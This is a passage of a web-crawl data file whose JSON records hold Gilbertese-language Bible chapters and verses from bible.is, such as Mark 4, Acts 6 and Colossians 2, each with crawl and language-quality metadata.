Languages.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/21","date":"2014-08-01T16:17:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510275111.45\/warc\/CC-MAIN-20140728011755-00307-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma e a tia i nanou bwa a na akea riki rokou iroumi ae e na karika te rawaawata n nano. 2Bwa ngkana I karawaawataingkami, ao antai ae e na kakukureiai ma ti te aomata are I a tia ni karawaawataa? 3Ao I korea au reta aei, bwa e kaawa n reke irou te rawaawata mai irouia te koraki akana a na kakukureiai ngkana I nako wati; ao I aki nanokokoraki iroumi ni kabane bwa kakatongau boni kakatongami ni kabane. 4Bwa I koroboki nakoimi ma nanou ae e taonaki n te rawaawata ma te korakai ae e bati, ma rannimatau aika a bati; tiaki bwa kam aonga ni karawaawataaki iai, ma kam aonga n ataia bwa e bati tangirami irou. 5Ma ngkana iai ane e karika te rawaawata, ao e aki karaoia nakoiu, ma e karaoia nakoimi; tao tiaki nakoimi ni kabaneingkami, ma nakoia tabemwaang i buakomi—ao I atonga aei bwa I aki kani karawaawata au taeka n ekia nako. 6E bon tau te rekenikai anne ibukin teuanne mai irouia mwaitin ami koraki; 7ma ngaia ae kam bon riai ni kabwaraa ana bure ma ni karaua nanona, bwa e kaawa teuanne ni bwara nanona n rawaawatana ae e bati. 8Ma ngaia ae I butingkami bwa kam na kaotia nakoina bwa bon iai tangirana iroumi. 9Bwa bon aei bukin are I koroboki iai ngkoa, bwa I aonga n atai baika kam na kakoauaaki iai bwa kam ongeaaba ni bwaai ni kabane. 10Ma ane kam kabwaraa ana bure, ao Ngai I kaabwaraa naba; bwa ane I a tiani kabwara, ngkana tao iai, ao I boni kabwaraa i bukimi i matani Kristo, 11bwa e aonga n aki reke ana tai Tatan ni mwaaka i aora; bwa ti atai aron ana iango nako. 12Ma ngke I roko i Teroa ibukin tataekinan euangkerioni Kristo, ao E a tia ni kauka te kawai nakoiu te Uea ibukin au mwakuri ikekei; 13ma e aki rau taamneiu ngke e aki reke irou Tito are tariu. Ma ngaia are I kaboo ma ngaiia ao I nako Mwaketonia. 14Ma e na katituaraoaki te Atua, are Ngaia ae e aki toki ni kairiira irouni Kristo n te mwaati n tokanikai; ao E kaboonganaira ngaira aika taani kabuta ataakini Kristo nakon taabo nako bwa kaanga ai aron te boi ae e boiarara. 15I bukini Kristo ao ti a riki nakon te Atua bwa te boi ae e boiarara, ae e kiakia nako boina i buakoia aika a nang kamaiuaki, ao i buakoia naba aika a nangi mate; 16bon te boi ae e kamaamate ae e tiritiri nakoia aika a nangi mate, ao te boi ae e kamaiu ae e uota te maiu nakoia aika a nang kamaiuaki. Ao ai antai ae e tau ibukini baikai? 17Bwa tiaki aroia aomata aika a bati ngaira, ake a bwaini-bobwaia ana taeka te Atua bwa a aonga ni kaubwai iai; ma ti kanakoaki iroun te Atua, ao ti taetae i matana ma te nano ae e itiaki ibukini Kristo.\n2 KORINTO 2","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/2","date":"2014-07-30T07:15:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510268734.38\/warc\/CC-MAIN-20140728011748-00052-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":494,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ni boong akekei, ngke e tabe n ririkirake mwaitiia aomata ake a onimakina Iesu, ao a ngurengure I-Iutaia ake a bwaina te taetae n Erene irouia raoia n I-Iutaia ake a bwaina te taetae n Ebera, ibukina ngke akea tibwaia aia aine, ake a a tia ni mate buia, ae e reke n te tibwatibwa n te bong ae koraki. 2Ao uaake tengauni ma uoman a weteiia aomata aika a bati ake a onimakina Iesu, ao a kaangai, E aki riai bwa ti na kaaki taekan ara mwakuri n tataekina ana taeka te Atua, ao ti na katabeira n te mwakuri n tibwatibwa. 3Ma ngaia aei, taari, kam na rineiia itiman i buakomi aika a kakoauaa bwa a on n te Taamnei ma te rabakau, ao ti na katabeia n te mwakuri aei. 4Ao ngaira ti na kabanei riki ara tai n te tataro, ao n tabeakinan ana taeka te Atua. 5A bane ni kukurei n te taeka arei te koraki arei; ao a rinea ngkanne Tetebano, ae te aomata ae te tia onimaki ni koaua ao e on n te Taamnei are e Raoiroi; a rinea naba Biribo, ma Berokoro, ma Nikanoora, ma Timon, ma Baremena, ma Nikorao ae te I-Antioka ae tiaki te I-Iutaia, ma e a tia n rairaki nakon te Aro n Iutaia. 6A kaakiia i mataia taan tuatua; ao a tataro taan tuatua ao a katokai baiia i aoia. 7E buta nako ana taeka te Atua, ao a bati riki ake a ongo ao a onimaki: a kabatiaaki mwaitiia aomata ake a onimaki i Ierutarem, ao a mwaiti aia koraki ibonga ake a butimwaaea taekan te euangkerio. 8E rangi ni kakabwaiaaki Tetebano iroun te Atua, ao e on n te mwaaka: e karaoi mwakuri ni kamiimii aika a abwabwaaki ma kanikina i buakoia aomata. 9Ao a kauntaeka ma Tetebano aomata tabemwaang aika kaain te mwaneaba are e aranaki bwa mwaneabaia Aomata aika a Inaomata, aika a I-Iutaia mai Kurene, ao mai Arekanria, ni bootaki ma I-Iutaia mai Kirikia ao mai Atia. 10Ma a aki konaa ni kaaitaraa Tetebano n aia taeka ibukina bwa E a tia te Taamnei are e Raoiroi n anganna te rabakau n taetae. 11Ma ngaia are a kabooia aomata tabemwaang bwa a na atonga ae e kaangai, Ti ongo ana taeka n eekaanako Mote ma te Atua. 12A kaunia aomata, ma unimwaane, ma taani koroboki, ao a tauua Tetebano ma te matoa, ni kairia nakon te Tanirim; 13ao a kateiia taani kaotioti aika a kewe, ao a kaangai uaakekei, E aki toki te aomata aei n taekin taeka aika a aki raraoi ibukin te tabo ae e tabu aei, ma te Tua; 14bwa ti ongo irouna ngke e taku bwa e na urua te tabo aei Iesu are te I-Natareta, ao E na oniki katei ake e anganiira Mote. 15Ao a bane ake a tekateka n te Tanirim ni katokaa mataia n taraa Tetebano, ao a noora matana bwa kaanga ai aron taraani matan te anera.\nMWAKURI 6","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/6","date":"2014-08-01T09:12:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510274866.27\/warc\/CC-MAIN-20140728011754-00375-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":497,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.471,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24ngkana I mwananga nako Tibeen; ao I kaantaningaia bwa N na nooringkami i aoni kawaiu n au tai ni mwananga, ao ni bakaborauaki nako iai iroumi i mwiin tiau n noora aroni kakukurein te mena i buakomi i nanon te tai ae e kimototo.\nROM 15:24\nFREE!\nOne App.\n1002 Languages.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/24","date":"2014-07-25T09:42:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997894140.11\/warc\/CC-MAIN-20140722025814-00235-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000088214874268}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E kairaki rake ngkanne Iesu iroun te Taamnei nakon te rereua bwa E na kariiriiaki iroun te riaaboro; 2ao E aki mamatam angaun te ngaina ao angaun te bong, ao rimwi E baki. 3Ao E kawaria te riaaboro, ao e taku nakoina, Ngkana Natin te Atua Ngkoe, ao Ko na tua bwa a na riki n amwarake atiibu aikai. 4Ao E kaeka ni kaangai, E koreaki ae e kaangai: E aki maiu te aomata n ti te amwarake, ma e maiu n taeka nako aika a oti nako mai wiin te Atua. 5Ao e kairia ngkanne te riaaboro nako Ierutarem, ao e kateia n te tabo ae te kabanea n rietaata i taubukin te umwantabu, 6ao e taku nakoina, Ngkana Natin te Atua Ngkoe, ao Ko na ewe nako; bwa e koreaki ae e kaangai: E na mwiokoia ana anera bwa a na tabeakiniko; ao a na tabekiko ni baiia, bwa e kaawa n toki waem n te atiibu. 7E taku Iesu nakoina, E koreaki naba ae e kaangai: Ko na tai kataa Iehova ae Atuam. 8Ao e a manga kairia te riaaboro nakon te maunga ae moan te rietaata, ao e kaoti nakoina aaba ni kabane ma tamaaroaia; 9ao e taku nakoina, N na anganiko baikai ni kabane ngkana Ko katorobubua ni bobaraaki n taromauriai. 10E taku ngkanne Iesu nakoina, Naako, Tatan; bwa e koreaki ae e kaangai, Ko na taromauriia Iehova ae Atuam, ao ko na toro irouna n ti Ngaia. 11E kiitanaki ngkanne Iesu iroun te riaaboro; ao nooria, a roko anera ni buokia ni baike E kainnanoi. 12Ngke E ongo Iesu bwa e a tia n tauuaki Ioane bwa te bure, ao E nako Kariraia. 13E kiitana Natareta, ao E nako ni maeka i Kaberenaum are e mena i rarikin te nama, n taabo ake abaia baronga ake Teburun ma Nabetari, 14bwa e aonga ni kakoauaaki are e atongaki iroun Itaia are te buraabeti, ngke e kaangai: 15Aaba ake aia bwai baronga ake Teburun ma Nabetari, ake a mena i aon te kawai nakon te nama, ake a mena n tanimaeaon te Ioretan, are Kariraia, are a maeka iai aomata ake tiaki I-Iutaia! 16A noora te oota ae te oota ae e korakora aomata ake a tekateka ike e roo; ao e kaoti te oota nakoia ake a tekateka i aban te mate ao i nuuna. 17Ao man te tai arei ao E moa n reirei Iesu, ao E taku, Kam na rairi nanomi, bwa e a kan roko uean te Atua. 18Ngke E nakonako Iesu i rarikin namani Kairiraia, ao E nooriia taari-mwaane aika uoman, are Timon are arana teuana Betero, ao Anterea are tarina, ngke a kabwakaa te karaun n te nama; bwa taan akawa ngaiia. 19Ao E taku nako ia, Mai ri mwiiu ao N na karaoingkami bwa taan akawaiia aomata. 20A kiitan naba aia karaun ao a iria. 21Ngke, E waakina nako riki kawaina maikekei, ao E a manga nooriia taari-mwaane aika uoman are Iakobo ma Ioane ake natin Tebetaio. A mena n aia booti ma tamaia are Tebetaio, bwa a bonobonoti raeuakin aia karaun; ao E weteiia. 22Ao a kiitana naba te booti ma tamaia, ao a iria. 23E kabutaa Kariraia n reirei ni mwaneabaia I-Iutaia, ao n tataekina euangkerion uean te Atua; ao E katoki aoraki ni kabane, ao mamaara ni kabane i buakoia aomata. 24E taona Turia ni kabutaa rongorongon Iesu; ao a bane n uotaki nakoina aomata aika a aoraki n aekan aoraki nako ma maraki, ao akana a taniaki irouia taimonio, ma akana a mino, ma akana a aki konaa te nakonako; ao E kamaiuiia. 25Ao a iria aomata aika a rangi ni mwaiti mai Kariraia ao Tekabori, mai Ierutarem, Iutaia, ao mai mainikun Ioretan.\nMATAIO 4","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/4","date":"2014-07-23T02:30:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997872002.22\/warc\/CC-MAIN-20140722025752-00236-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":619,"character_repetition_ratio":0.052,"word_repetition_ratio":0.01,"special_characters_ratio":0.236,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te kabanea ngkanne: taari, kam na tataro i bukira bwa e na waekoa ni buta nako ana taeka te Uea, ao e na butimwaaeaki ni karineaki, n ai aroarona naba iroumi. 2Tataro naba bwa ti na kamaiuaki mai irouia aomata aika a akiako aika a buaakaka; bwa a aki bane aomata n onimaki. 3Ma E kakaonimaki te Uea; E na kateimatoaingkami ma ni kaawakiningkami mai iroun teuare e buaakaka. 4E karika i nanora te Uea te aki nanokokoraki i bukimi: bwa kam karaoi baika ti tuangkami, bwa kam na bon aki toki ni karaoi. 5Ao E na kairi nanomi te Uea nako nanon ana tangira te Atua, ao nako nanon nanomwaakani Kristo. 6Taari, ti tuangkami n aran ara Uea are Iesu Kristo, bwa kam na kararoaingkami mai iroun te tari nako ae e rawa ni kani mwakuri, ao e aki iri nanon taeka n reirei ake ti anganiia. 7Bwa kam atai baika kam riai ni kakairi iroura iai. Akea iroura te nano n rawa ni kani mwakuri ngke ti mena iroumi, 8ao ti aki n ae ti amwarake ao ti aki kabooa karara mai iroun are ti karekea irouna. Ma ti rangi ni kakorakoraira ni mwakuri n te bong ao n te ngaina, bwa ti aonga n aki karawaawata temanna i buakomi. 9Ti karaoa aei, tiaki ibukina bwa akea ara riai n tuangkami buokara, ma ibukina bwa ti kan riki bwa te banna ni kakairi nako imi ae kam na katootoongnga. 10Bwa ngke ti mena iroumi, ao ti tuangkami ae e kaangai, Ngkana e aki kani mwakuri temanna, ao ke e tai amwarake. 11Bwa ti ongo taekaia tabemwaang i buakomi aika a rawa ni kani mwakuri, bwa akea aia mwakuri ma ti te katabetabeiia aomata. 12Ti tuangngiia ma ni butiia aomata akana aroia aikai, n aran te Uea are Iesu Kristo, bwa a na karau aroia ao a na mwakuri bwa a aonga ni kang oini kanaia. 13Ao ngkami, taari, a na aki bwara nanomi mani karaoan ae e raoiroi; 14aongkana e aki ongeaaba temanna nakon ara taeka n te reta aei, ao kam na kanikinaaea, bwa kam na aki i raorao ma ngaia, bwa e aonga ni maamaa. 15Kam na aki iangoiia bwa ami kairiribai, ma kam na reireiia n ai aron te tari. 16E na anganingkami te raoi n aki toki n aaro nako te Uea are e reke te raoi mai irouna. E na mena te Uea iroumi ni kabaneingkami. 17Aio arou ni koroboki n oin taboni baiu: Kam na mauri mai irouni Bwauro. Aei arou n tiainai au reta, ao arou ni koro reta. 18E na mena iroumi ni kabaneingkami ana aakoi ara Uea are Iesu Kristo.\n2 TETARONIKE 3","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/2Thess\/3","date":"2014-07-31T15:41:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510273381.44\/warc\/CC-MAIN-20140728011753-00244-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":442,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E a manga moana ana reirei Iesu i rarikin te nama are Kariraia. A rangi ni mwaiti aomata ake a bootaki nakoina, ma ngaia are E toka i aon te booti ao E tekateka i nanona. E mena te booti n te nama, ao aomata a tei i rarikin te nama n ua kaan ma te ran. 2Ao E reireiia baika a bati n taeka ni kabootau, ao E taku, 3Kam na ongoraa! Iai te tia unuuniki ae e nako ni kamaae koraa n uniki; 4ao ngke e kamaae, ao a bwaka tabeua ri rarikin te kawai, ao a roko mannikiba ni kang. 5Ao tabeua a bwaka i aon te tabo ae e riribwaa ike e aki bati te tano iai; ao a kai riki bwa e manii te tano; 6Ao ngke e kaboo rake taai, ao e a kaurarakei aroka aikai. A mate ibukina ngke a aki nene wakaaia bwa e manii te tano. 7Iai tabeua koraa ake a bwaka i buakoni kaai aika a kateketeke. A rikirake kaai ake a kateketeke, ao a karibwai aroka ake a unikaki ao a aki kariki uaa. 8Ao iai tabeua koraa ake a bwaka i aon te tano ae e raoiroi. A riki ao a rikirake, ao a kariki uaa: tabekai kaka tenibwi, ao tabekai kaka onobwi, ao tabekai kaka tebubua. 9Ao e taku Iesu, Ane iai taningana n ongo ao ke e ongo! 10Ao ngke E mena Iesu n ti Ngaia, ao a kawaria aomata temwaangina ake a tia n ongo irouna, ao a kawaria naba ana reirei ake tengauni ma uoman, ao a tuangnga bwa E na kabwarabwarai nanon taian taeka ni kabootau. 11E taku Iesu, Kam a tia n anganaki te baere e raba, are bwain uean te Atua; ma i bukiia ake i tinaniku, a taekinaki bwaai nakoian taeka ni kabootau; 12bwa a aonga n taratara ma n taratara, ma a na aki nooraaba; bwa a na ongoraa ma n ongoraa, ma a na aki atatai: bwa ngkana a nooraaba ao a atatai, ao ane a na rairi nanoia ao a na kabwaraaki aia bure. 13Ao E taku Iesu, Kam aki ataa nanon te rongorongo ni kabootau aei? Ao kam na kangaa ngkanne ni konaa n atai nanon taeka ni kabootau nako? 14Te tia unuuniki, e kamaaea n unika ana taeka te Atua. 15Aomata temwaangina, a kabootauaki bwa kaanga koraa ake a bwaka ri rarikin te kawai: n te tai naba are a ongo iai ana taeka te Atua, ao e roko Tatan ao e anaia mai irouia. 16Iai temwaangina ake a kabootauaki bwa kaanga koraa ake a bwaka i aon te tabo ae e riribwaa: n te tai naba are a ongo iai ana taeka te Atua, ao a butimwaaia ma te kukurei. 17Ma te taeka aei, e aki tiku ni maan i nanoia, bwa e aki matoatoa i nanoia. Ma ngaia are ngkana e roko te kaangaanga ke te bwainikiriinaki ibukin ana taeka te Atua, ao a a bwaka naba. 18Ao temwaangina, a kabootauaki bwa kaanga koraa ake a unikaki i buakoni kaai ake a kateketeke. Aikai te koraki ake a ongo te taeka, 19ma iango n raraoma nako ibukin te maiu aei, ao tangiran taiani kaubwai ma bwaai nako aika a kamataaia te aba, a karibwabwaa te taeka, ao e aki kariki uaa. 20Ma temwaangina, a kabootauaki bwa kaanga koraa ake a unikaki n te tano are e raoiroi. A ongo te taeka, ao a kaaki i nanoia, ao a kariki uaa: tabemwaang kaka tenibwi, ao tabemwaang kaka onobwi, ao tabemwaang tatabebubua. 21Ao E taku Iesu nakoia, E uotaki mai te taura bwa e na kaakiaki i aan te bwaketi ke i aan te kai ni wene? Tiaki bwa e na katokaaki i aoni nnena? 22Bwa te bwai ae e karabaaki ane e na kaotaki, ao ane e rabunaki e na kanakoaki rabunana. 23Ane iai taningana n ongo, ao ke e ongo! 24Ao E a manga taku nakoia, Kam na karaua n iangoa ae kam ongo! Bwaai ni baaire ake kam kaboonganai bwa bwaini motikan taekaia temwaangina iroumi, a na manga kaboonganaaki iroun te Atua bwa bwaini motikan taekami irouna—ma a na kakorakoraaki riki nakoimi. 25Bwa ane iai ana bwai, ao e na anganaki ni kabatiaaki; ao ane akea ana bwai, ao e na anaaki mai irouna are iai irouna, e aoria ngkana ti teutana. 26Ao E taku Iesu, Uean te Atua kaanga ai aron te aomata ae e kamaae n uniki koraa n te tano. 27E matuu n te bong, ao e uti n te ngaina; ao i nanoni kaakaraoan aei irouna, ao e kaoti taberan te aroka, ao e rikirake. Ma e aki ataia bwa e kangaa n riki aei. 28Te tano, boni ngaia ae e karikirakea te aroka ao e kauaaea naba: e kaoti moa te raibwebwe, ao rimwi te ari, ao rimwi te uaa n te ari. 29Ngke e tawaa te uaa, ao te aomata arei e koreia n ana biti, bwa e a roko tain te tai. 30E taku Iesu, Tera ae ti na taekinna bwa katootoongan uean te Atua? Tera te taeka ni kabootau ae ti na kaboonganaa bwa e na kamaataataa nanona? 31Ai aron uaan te mwaakeke, ae te uaa ae moan te uarereke i buakon uaa nako aika a unikaki; 32ma ngkana e unikaki, ao e rikirake bwa te kai ae e abwaabwaki riki nakoia aroka ni kabane ake ana karinan; ao e kariki mwaangana aika a abwaabwaki, ma ngaia are a roko mannikiba ni karaoi ngaoia iai i aan nuuna. 33Ao E taekin ana koaua Iesu nakoia aomata n taeka ni kabootau aika a bati, aika ai aron aikai; ao E reireia n ai aroni mwaitin are a konaa n oota iai. 34E aki konaa n taetae nakoian aki kaboonganai taeka ni kabootau; ma ngkana ti Ngaia ma ana reirei, ao E kamaataatai nanoni bwaai ni kabane nakoia. 35N te bong naba arei, ngke e a tairiki, ao E taku Iesu nakoia ana reirei, Ti na nako n iteran te nama are teuana. 36A kiitaniia aomata aika a mwaiti; ao a toka ana reirei i aon te booti are E a kamani mena iai Iesu, ao a kairia bwa raoia. Iai booti tabewaa i rarikina. 37Ao e karina ni kare te ang ae e korakora; ao naao a bwaroa nanon te booti n te aro are e a kaani kebo n te ran. 38E mena Iesu ibukin te booti bwa E matuu, ao atuuna i aon te uninga. A kautia ana reirei, ao a taku, Te Tia Reirei, Ko aki tabe iroura ngkai ti a kaani mate? 39E tei rake Iesu mani matuuna, ao E takua te ang ma te nama, ni kaangai, Tai karongoaa! Kainabwabu! E bwaka te ang, ao iai te raoi. 40Ao E taku nakoia ana reirei, E aera ngkai kam maku? Akea ami onimaki? 41A rangi ni maaku, ao a i taetae irouia ni kaangai, Antai Teuaei? Bwa e ongo irouna te ang ma naao!\nMAREKO 4","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/4","date":"2014-08-21T10:10:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500815861.64\/warc\/CC-MAIN-20140820021335-00363-ip-10-180-136-8.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1155,"character_repetition_ratio":0.061,"word_repetition_ratio":0.009,"special_characters_ratio":0.244,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8Kam na taraia bwa e kaawa temanna ni kairingkami n te rabakau n aomata ae akea boongana ae e mwaamwanaa te aba, ae e nako man aia taeka n reirei aomata ao mani baika iai mwaakaia n te aonnaba aei, ma tiaki mai irouni Kristo;\nKOROTE 2:8\nFREE!\nOne App.\n1550 Languages.","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/8","date":"2014-08-29T12:21:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500832155.37\/warc\/CC-MAIN-20140820021352-00241-ip-10-180-136-8.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17Ma ngke e uea te mate iroun ae ti temanna ibukin ana bure, ao ai moa ra riki bwa aomata aika a anganaki te aakoaki ae e bati ma te bwai n tituaraoi are kaetan aroia n reitaki ma te Atua, a na korakora n aroia nako iroun ti temanna are Iesu Kristo.\nROM 5:17\nFREE!\nOne App.\n1550 Languages.","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/17","date":"2014-08-22T15:47:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500824209.82\/warc\/CC-MAIN-20140820021344-00376-ip-10-180-136-8.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":58,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Bwa I tangiringkami bwa kam na ataa arou ni kakorakoraai ni mwakuri i bukimi, i bukiia ake i Raorikeia, ao i bukiia naba aika a mwaiti aika a tuai n noora matau. 2I karaoa aei bwa a aonga ni kauungaaki nanoia, n aroia n reitaki n te tangira, ao bwa a aonga n aki nanokokoraki teutana n te atatai, are e na ataaki raoi iai te baere e raba, are Kristo, are mai iroun te Atua, 3are a bane ni karabaaki i nanon taian rabakau ma atatai nako. 4I atonga aei bwa e kaawa temanna ni mwaamwanaaingkami n taeka n anai nano. 5Bwa I boni ngae n aki mena iroumi n te rabwata, ma I boni mena naba iroumi n te taamnei; ao I kimwaareirei n nooran aromi aika a riai ma aromi n teimatoa n onimakina Kristo. 6Ma ngaia aei, ngkai kam a tia ni butimwaaea Kristo Iesu are te Uea, ao kam na maiu n reitaki ma Ngaia. 7A na nene wakaami irouna, ao karikia bwa aani maiumi. Kam na kateimatoaaki n ami onimaki, n te aro are kam reireiaki iai, ao kam na kabatiaa te katituaraoi. 8Kam na taraia bwa e kaawa temanna ni kairingkami n te rabakau n aomata ae akea boongana ae e mwaamwanaa te aba, ae e nako man aia taeka n reirei aomata ao mani baika iai mwaakaia n te aonnaba aei, ma tiaki mai irouni Kristo; 9bwa e bane ni mena te aro n Atua i nanoni Kristo, ni maiuna n aomata. 10Ao kam a tia n anganaki te maiu ni koaua ngkai kam reitaki ma Ngaia, are atuuni mwaaka ma korakora ni bane. 11N aromi naba n reitaki ma Ngaia ao kam a tia ni koroberoaki, tiaki n te korobero are korean te iriko man te rabwata ni bain te aomata, ma n ana korobero Kristo; 12ao ngke kam bwaabetitooaki, ao ti te bo ma kam taunaki ma Ngaia ao kam a manga uaia ni manga maiu ma Ngaia ibukina bwa kam onimakina ana mwakuri te Atua are E a manga kamaiua man te mate. 13Ao ngkami, akana kam mate ibukin aromi ni buubure ao ibukina ngkai tiaki ana aomata te Atua ngkami, E a manga kamaiungkami te Atua ma Kristo, ngkae E a tia ni kabwaraa ara bure ni kabane; 14ao E kamaunai taekan ara taarau ake a tei i aan arara ma tuaia ake ti kabaeaki iai, ao E kariki n akea nanoia ngke E bobiti ni kanim n te kaibangaki; 15ao i aon te kaibangaki anne, E a kainaomataaki Kristo irouna mani mwaakaia ueea ma ake a tauu aroia aomata; E karaoiia bwa bwaai ni kamataku nakoia aomata ngke E kairiia n ana mwaati n tokanikai bwa taenikai. 16Ma ngaia are tai kariaia temanna bwa e na baaireia bwa tera ae kam na kanna ao kam na nimma, ao tai kariaia naba bwa e na tuangkami bwa kam na kaawakina bongin te toa teuana, ma te oiaki, ma taabati: 17boni bannani baika a na roko baikai, ma te oi ni bwai ni koaua boni Kristo. 18Kam na tai kariaia bwa e na baaireaki taekami bwa kam aki tau iroun temanna are e taku bwa e kakannato riki, ibukina bwa e a tia n noori baika kaanga taiani mii, ao are e imanonoa bwainakin te baka-nnanoorinano ma taromauriaia anera. Akea manenani kainikatongana ibukina bwa e bwaina te nano n aon te aba, 19ao e a tia n aki nim ma Kristo, are atuun te rabwata ae e bwanin, are Ngaia ae e anga te korakora nakon te rabwata, ao E kamanenai toma n ri ma iaia bwa bwain tauani bwain te rabwata. 20Ngkai kam a tia ni mate ma Kristo ao kam a kainaomataaki mani baika iai mwaakaia n te aonnaba aei; ao kam aera ni maiumi i aon te aba, ngkai kam kairaki i aan tuua aikai? 21Tai tauua, Tai katoongnga, Tai riingnga. 22A kaeti taekani baikai nakoni baika a na riki n akea boonganaia ngkana a a tia ni kamanenaaki; bon tuua ma reirei aika a karaoi aomata. 23Kanga bwaai ni baka n rabakau tuua aikai irouia naake a imanonoia aomata bwa a na taromauriia anera, ao bwa a na bwaina te baka-n-nanoorinano ma aki-akoan te rabwata; ma akea manenaia nakon te aomata ae e kan tautaeka i aoni baika e kainnanoi rabwatana.\nKOROTE 2","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2","date":"2014-08-22T08:05:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500823333.10\/warc\/CC-MAIN-20140820021343-00382-ip-10-180-136-8.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":717,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"28Bwa te Tua e rineia aomata aika a aki kororaoi n aroia bwa ibonga aika a kakannato; ma te taeka n aakoi are e karaoaki ma te taeka ni bau are e roko rimwi i mwiin te Tua, e rinea te Nati bwa te ibonga ae e kororaoi n arona n aki toki.\nEBERA 7:28\nFREE!\nOne App.\n1550 